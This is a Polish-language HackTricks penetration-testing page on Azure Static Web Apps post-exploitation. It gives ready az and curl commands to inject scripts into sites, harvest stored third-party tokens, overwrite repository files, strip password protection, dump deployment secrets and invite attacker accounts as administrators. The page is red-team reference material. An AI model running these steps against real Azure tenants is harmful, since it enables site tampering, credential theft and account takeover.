Az - Static Web Apps Post Exploitation

Tip

Ucz się & ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Wspieraj HackTricks

Azure Static Web Apps

Więcej informacji o tej usłudze znajdziesz w:

Az - Static Web Applications

Microsoft.Web/staticSites/snippets/write

Możliwe jest sprawienie, że statyczna strona załaduje dowolny kod HTML przez utworzenie snippet. Może to pozwolić atakującemu na wstrzyknięcie kodu JS do aplikacji webowej i wykradzenie poufnych informacji, takich jak poświadczenia czy klucze mnemoniczne (w web3 wallets).

Poniższe polecenie tworzy snippet, który będzie zawsze ładowany przez aplikację webową::

az rest \
--method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/snippets/<snippet-name>?api-version=2022-03-01" \
--headers "Content-Type=application/json" \
--body '{
"properties": {
"name": "supersnippet",
"location": "Body",
"applicableEnvironmentsMode": "AllEnvironments",
"content": "PHNjcmlwdD4KYWxlcnQoIkF6dXJlIFNuaXBwZXQiKQo8L3NjcmlwdD4K",
"environments": [],
"insertBottom": false
}
}'

Odczyt skonfigurowanych poświadczeń stron trzecich

Jak wyjaśniono w sekcji App Service:

Az - App Services Privesc

Uruchamiając poniższe polecenie można odczytać skonfigurowane poświadczenia stron trzecich w bieżącym koncie. Zwróć uwagę, że jeśli na przykład niektóre poświadczenia Github są skonfigurowane dla innego użytkownika, nie będziesz w stanie uzyskać dostępu do tokena z innego konta.

az rest --method GET \
--url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01"

Ta komenda zwraca tokeny dla Github, Bitbucket, Dropbox i OneDrive.

Oto kilka przykładów komend do sprawdzenia tokenów:

# GitHub – List Repositories
curl -H "Authorization: token <token>" \
-H "Accept: application/vnd.github.v3+json" \
https://api.github.com/user/repos

# Bitbucket – List Repositories
curl -H "Authorization: Bearer <token>" \
-H "Accept: application/json" \
https://api.bitbucket.org/2.0/repositories

# Dropbox – List Files in Root Folder
curl -X POST https://api.dropboxapi.com/2/files/list_folder \
-H "Authorization: Bearer <token>" \
-H "Content-Type: application/json" \
--data '{"path": ""}'

# OneDrive – List Files in Root Folder
curl -H "Authorization: Bearer <token>" \
-H "Accept: application/json" \
https://graph.microsoft.com/v1.0/me/drive/root/children

Overwrite file - Overwrite routes, HTML, JS…

Możliwe jest nadpisanie pliku w Github repo zawierającego aplikację przez Azure posiadający Github token, wysyłając żądanie takie jak poniższe, które określi ścieżkę pliku do nadpisania, zawartość pliku oraz wiadomość commita.

Może to zostać wykorzystane przez atakujących do zasadniczo zmiany zawartości aplikacji webowej w celu serwowania złośliwych treści (kradzież poświadczeń, kluczy mnemonicznych…) lub po prostu do przekierowania niektórych ścieżek na własne serwery poprzez nadpisanie pliku staticwebapp.config.json.

Warning

Należy pamiętać, że jeśli atakującemu uda się w jakikolwiek sposób przejąć Github repo, może on również nadpisać plik bezpośrednio z Github.

curl -X PUT "https://functions.azure.com/api/github/updateGitHubContent" \
-H "Content-Type: application/json" \
-d '{
"commit": {
"message": "Update static web app route configuration",
"branchName": "main",
"committer": {
"name": "Azure App Service",
"email": "donotreply@microsoft.com"
},
"contentBase64Encoded": "ewogICJuYXZpZ2F0aW9uRmFsbGJhY2siOiB7CiAgICAicmV3cml0ZSI6ICIvaW5kZXguaHRtbCIKICB9LAogICJyb3V0ZXMiOiBbCiAgICB7CiAgICAgICJyb3V0ZSI6ICIvcHJvZmlsZSIsCiAgICAgICJtZXRob2RzIjogWwogICAgICAgICJnZXQiLAogICAgICAgICJoZWFkIiwKICAgICAgICAicG9zdCIKICAgICAgXSwKICAgICAgInJld3JpdGUiOiAiL3AxIiwKICAgICAgInJlZGlyZWN0IjogIi9sYWxhbGEyIiwKICAgICAgInN0YXR1c0NvZGUiOiAzMDEsCiAgICAgICJhbGxvd2VkUm9sZXMiOiBbCiAgICAgICAgImFub255bW91cyIKICAgICAgXQogICAgfQogIF0KfQ==",
"filePath": "staticwebapp.config.json",
"message": "Update static web app route configuration",
"repoName": "carlospolop/my-first-static-web-app",
"sha": "4b6165d0ad993a5c705e8e9bb23b778dff2f9ca4"
},
"gitHubToken": "gho_1OSsm834ai863yKkdwHGj31927PCFk44BAXL"
}'

### Microsoft.Web/staticSites/config/write

Dzięki temu uprawnieniu można zmienić hasło chroniące static web app lub nawet usunąć ochronę ze wszystkich środowisk, wysyłając żądanie takiego jak poniżej:

# Change password
az rest --method put \
--url "/subscriptions/<subcription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/config/basicAuth?api-version=2021-03-01" \
--headers 'Content-Type=application/json' \
--body '{
"name": "basicAuth",
"type": "Microsoft.Web/staticSites/basicAuth",
"properties": {
"password": "SuperPassword123.",
"secretUrl": "",
"applicableEnvironmentsMode": "AllEnvironments"
}
}'



# Remove the need of a password
az rest --method put \
--url "/subscriptions/<subcription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/config/basicAuth?api-version=2021-03-01" \
--headers 'Content-Type=application/json' \
--body '{
"name": "basicAuth",
"type": "Microsoft.Web/staticSites/basicAuth",
"properties": {
"secretUrl": "",
"applicableEnvironmentsMode": "SpecifiedEnvironments",
"secretState": "None"
}
}'

Microsoft.Web/staticSites/listSecrets/action

To uprawnienie pozwala pobrać API key deployment token dla static app.

Używając az rest:

az rest --method POST \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/listSecrets?api-version=2023-01-01"

Za pomocą AzCLI:

az staticwebapp secrets list --name <appname> --resource-group <RG>

Then, in order to zaktualizować aplikację przy użyciu tokena you could run the following command. Note that this command was extracted checking how to Github Action https://github.com/Azure/static-web-apps-deploy works, as it’s the one Azure set by default ot use. So the image and parametry could change in the future.

Tip

Aby wdrożyć aplikację możesz użyć narzędzia swa z https://azure.github.io/static-web-apps-cli/docs/cli/swa-deploy#deployment-token lub wykonać poniższe kroki:

  1. Pobierz repozytorium https://github.com/staticwebdev/react-basic (lub dowolne inne repo, które chcesz wdrożyć) i wykonaj cd react-basic.
  2. Zmień kod, który chcesz wdrożyć
  3. Wdróż je uruchamiając (pamiętaj, aby zmienić <api-token>):
docker run --rm -v $(pwd):/mnt mcr.microsoft.com/appsvc/staticappsclient:stable INPUT_AZURE_STATIC_WEB_APPS_API_TOKEN=<api-token> INPUT_APP_LOCATION="/mnt" INPUT_API_LOCATION="" INPUT_OUTPUT_LOCATION="build" /bin/staticsites/StaticSitesClient upload --verbose

Warning

Nawet jeśli posiadasz token, nie będziesz w stanie wdrożyć aplikacji, jeśli Zasada autoryzacji wdrożeń (Deployment Authorization Policy) jest ustawiona na Github. Aby użyć tokena, potrzebujesz uprawnienia Microsoft.Web/staticSites/write, aby zmienić metodę wdrożenia na użycie tokena API.

Microsoft.Web/staticSites/write

Posiadając to uprawnienie można zmienić źródło static web app na inne repozytorium Github, jednak nie zostanie ono automatycznie przygotowane, ponieważ musi to zostać wykonane z poziomu Github Action.

Jednak jeśli Zasada autoryzacji wdrożeń (Deployment Authorization Policy) jest ustawiona na Github, możliwe jest zaktualizowanie aplikacji z nowego repozytorium źródłowego!.

W przypadku gdy Zasada autoryzacji wdrożeń nie jest ustawiona na Github, możesz ją zmienić używając tego samego uprawnienia Microsoft.Web/staticSites/write.

# Change the source to a different Github repository
az staticwebapp update --name my-first-static-web-app --resource-group Resource_Group_1 --source https://github.com/carlospolop/my-first-static-web-app -b main

# Update the deployment method to Github
az rest --method PATCH \
--url "https://management.azure.com/subscriptions/<subscription-id>>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>?api-version=2022-09-01" \
--headers 'Content-Type=application/json' \
--body '{
"properties": {
"allowConfigFileUpdates": true,
"stagingEnvironmentPolicy": "Enabled",
"buildProperties": {
"appLocation": "/",
"apiLocation": "",
"appArtifactLocation": "build"
},
"deploymentAuthPolicy": "GitHub",
"repositoryToken": "<github_token>" # az rest --method GET --url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01"
}
}'

Przykładowy Github Action do wdrożenia aplikacji:

name: Azure Static Web Apps CI/CD

on:
push:
branches:
- main
pull_request:
types: [opened, synchronize, reopened, closed]
branches:
- main

jobs:
build_and_deploy_job:
if: github.event_name == 'push' || (github.event_name == 'pull_request' && github.event.action != 'closed')
runs-on: ubuntu-latest
name: Build and Deploy Job
permissions:
id-token: write
contents: read
steps:
- uses: actions/checkout@v3
with:
submodules: true
lfs: false
- name: Install OIDC Client from Core Package
run: npm install @actions/core@1.6.0 @actions/http-client
- name: Get Id Token
uses: actions/github-script@v6
id: idtoken
with:
script: |
const coredemo = require('@actions/core')
return await coredemo.getIDToken()
result-encoding: string
- name: Build And Deploy
id: builddeploy
uses: Azure/static-web-apps-deploy@v1
with:
azure_static_web_apps_api_token: "12345cbb198a77a092ff885782a62a15d5aef5e3654cac1234509ab54547270704-4140ccee-e04f-424f-b4ca-3d4dd123459c00f0702071d12345" # A valid formatted token is needed although it won't be used for authentication
action: "upload"
###### Repository/Build Configurations - These values can be configured to match your app requirements. ######
# For more information regarding Static Web App workflow configurations, please visit: https://aka.ms/swaworkflowconfig
app_location: "/" # App source code path
api_location: "" # Api source code path - optional
output_location: "build" # Built app content directory - optional
github_id_token: ${{ steps.idtoken.outputs.result }}
###### End of Repository/Build Configurations ######

close_pull_request_job:
if: github.event_name == 'pull_request' && github.event.action == 'closed'
runs-on: ubuntu-latest
name: Close Pull Request Job
steps:
- name: Close Pull Request
id: closepullrequest
uses: Azure/static-web-apps-deploy@v1
with:
action: "close"

Microsoft.Web/staticSites/resetapikey/action

Dzięki temu uprawnieniu można zresetować API key of the static web app, potencjalnie powodując DoSing workflowów, które automatycznie wdrażają aplikację.

az rest --method POST \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/resetapikey?api-version=2019-08-01"

Microsoft.Web/staticSites/createUserInvitation/action

To uprawnienie pozwala utworzyć zaproszenie dla użytkownika w celu uzyskania dostępu do chronionych ścieżek wewnątrz static web app z określoną rolą.

Logowanie znajduje się pod ścieżką taką jak /.auth/login/github dla github lub /.auth/login/aad dla Entra ID, a użytkownika można zaprosić następującym poleceniem:

az staticwebapp users invite \
--authentication-provider Github # AAD, Facebook, GitHub, Google, Twitter \
--domain mango-beach-071d9340f.4.azurestaticapps.net # Domain of the app \
--invitation-expiration-in-hours 168 # 7 days is max \
--name my-first-static-web-app # Name of the app\
--roles "contributor,administrator" # Comma sepparated list of roles\
--user-details username # Github username in this case\
--resource-group Resource_Group_1 # Resource group of the app

Pull Requests

Domyślnie Pull Requests z gałęzi w tym samym repozytorium są automatycznie kompilowane i budowane w środowisku staging. Może to zostać wykorzystane przez atakującego, który ma uprawnienia zapisu do repo, ale nie potrafi obejść zabezpieczeń gałęzi produkcyjnej (zazwyczaj main), aby wdrożyć złośliwą wersję aplikacji pod URL środowiska staging.

The staging URL has this format: https://<app-subdomain>-<PR-num>.<region>.<res-of-app-domain> like: https://ambitious-plant-0f764e00f-2.eastus2.4.azurestaticapps.net

Tip

Zauważ, że domyślnie zewnętrzne PR-y nie uruchamiają workflows, chyba że wcześniej scalono przynajmniej 1 PR do repozytorium. Atakujący mógłby wysłać poprawny PR do repo i następnie wysłać złośliwy PR, aby wdrożyć złośliwą aplikację w środowisku staging. JEDNAK istnieje niespodziewana ochrona: domyślna Github Action do wdrożenia w static web app wymaga dostępu do secretu zawierającego token wdrożeniowy (np. secrets.AZURE_STATIC_WEB_APPS_API_TOKEN_AMBITIOUS_PLANT_0F764E00F) nawet jeśli wdrożenie jest wykonywane przy użyciu IDToken. Oznacza to, że ponieważ zewnętrzny PR nie będzie miał dostępu do tego secretu i nie może zmienić Workflow, aby umieścić tam dowolny token bez zaakceptowania PR, ten atak w praktyce nie zadziała.

Tip

Ucz się & ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Wspieraj HackTricks